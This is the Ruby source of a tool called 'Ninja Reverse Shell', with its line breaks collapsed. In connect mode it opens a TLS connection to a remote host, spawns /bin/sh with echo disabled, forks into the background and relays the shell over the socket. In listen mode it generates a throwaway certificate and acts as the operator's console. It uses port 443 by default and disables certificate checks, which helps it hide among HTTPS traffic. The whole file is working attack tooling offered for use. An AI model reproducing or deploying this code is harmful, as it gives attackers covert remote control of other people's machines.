#!/usr/bin/env ruby require 'socket' require 'pty' require 'openssl' require 'getoptlong' NINJA_SHELL_VERSION = '0.5' class GetoptLong def to_hash hash = {} each { |key, val| hash[key] = val or true } hash end end $opts = GetoptLong.new( [ '--help', '-h', GetoptLong::NO_ARGUMENT ], [ '--listen', '-l', GetoptLong::NO_ARGUMENT ], [ '--port', '-p', GetoptLong::REQUIRED_ARGUMENT ], [ '--version', '-v', GetoptLong::NO_ARGUMENT ], [ '--key-size', '-s', GetoptLong::REQUIRED_ARGUMENT ] ).to_hash def printUsage puts < Usage: connect: nrs hostname port listen: nrs -l [-p port] options: -h, --help You already figured out what that does. -l, --listen Listen for incoming nrs connection, default port is 443, change with -p. -p, --port n For -l (listen), bind to port n instead of 443. -k, --key-size For -l (listen), RSA key size, default is 1024 bits -v, --version Print program banner, copyright and RCS id then exit. USAGE exit 0 end def printVersion puts "Ninja Reverse Shell Version #{NINJA_SHELL_VERSION}." exit 0 end def generateKeyCert() print "Generating ", $rsaKeySize, " bit RSA key" key = OpenSSL::PKey::RSA.new($rsaKeySize){ print "." STDOUT.flush } puts "Done." cert = OpenSSL::X509::Certificate.new cert.version = 2 cert.serial = 0 name = OpenSSL::X509::Name.new([["C","Ninja Co"],["O","Ninja Division"],["CN","Mr. Ninja"]]) cert.subject = name cert.issuer = name cert.not_before = Time.now cert.not_after = Time.now + 3600 cert.public_key = key.public_key ef = OpenSSL::X509::ExtensionFactory.new(nil, cert) cert.extensions = [ ef.create_extension("basicConstraints", "CA:FALSE"), ef.create_extension("subjectKeyIdentifier", "hash"), ef.create_extension("extendedKeyUsage", "serverAuth"), ef.create_extension("keyUsage", "keyEncipherment,dataEncipherment,digitalSignature") ] ef.issuer_certificate = cert cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always") cert.sign(key, OpenSSL::Digest::SHA1.new) return key, cert end def parseArgs printUsage if $opts['--help'] printVersion if $opts['--version'] $host = "localhost" $port = 443 if($opts['--port']) $port = $opts['--port'].to_i end $rsaKeySize = 1024 if($opts['--key-size']) $rsaKeySize = $opts['--key-size'].to_i end $listen = $opts['--listen'] != nil if (not $listen) if(ARGV.size < 1) printUsage end $host = ARGV[0] if(ARGV[1]) $port = ARGV[1].to_i end end end def connectToShell socket = TCPSocket.new($host, $port) ssl_context = OpenSSL::SSL::SSLContext.new() ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE sslsocket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context) sslsocket.sync_close = true sslsocket.connect PTY.spawn("stty -echo; /bin/sh") { |r,w,pid| Thread.new { while true w.print sslsocket.getc.chr w.flush end } begin while true c = r.sysread(512) break if c.nil? sslsocket.write c sslsocket.flush end ensure sslsocket.close break; end } end def bindShell ssl_context = OpenSSL::SSL::SSLContext.new() ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE ssl_context.key, ssl_context.cert = generateKeyCert socket = TCPServer.new($port) print "Listening for connection..." $stdout.flush sslsocket = OpenSSL::SSL::SSLServer.new(socket, ssl_context).accept puts "\nconnected." Thread.new { while true $stdout.print sslsocket.getc.chr $stdout.flush end } while c = $stdin.getc.chr sslsocket.write c end end parseArgs() if($listen) bindShell() else fork { connectToShell() } end